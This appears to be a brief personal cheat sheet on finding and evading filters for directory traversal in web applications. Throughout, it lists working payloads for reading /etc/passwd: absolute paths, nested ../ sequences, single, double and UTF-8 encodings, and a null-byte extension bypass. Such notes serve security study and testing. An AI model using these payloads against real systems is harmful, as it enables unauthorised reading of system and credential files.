Directory Traversal Injection Technique & Evasion
- Finding Path Traversal
Check Files loaded (If the are loaded from server reference)
/image?filename=28.jpg
- Bypass
#Use an absolute path
filename=/etc/passwd
#Use nested traversal
....//
....\/
.|./
#Use ? has character
- ? main any character (like in linux)
#Utilize URL Encoding
- 16-bit ---> ../ ---> %2e%2e%2f
- Double URL ---> ../ ---> %252e%252e%252f
- UTF-8 ---> ..%c0%af & ..%ef%bc%8f
#Burp Suite Professional
§ Contains encoded path traversal sequences
#Start with the base file and traverse from there
filename=/var/www/images/../../../etc/passwd
#Bypass the requirement to end with a file extension by using a null byte
filename=../../../etc/passwd%00.png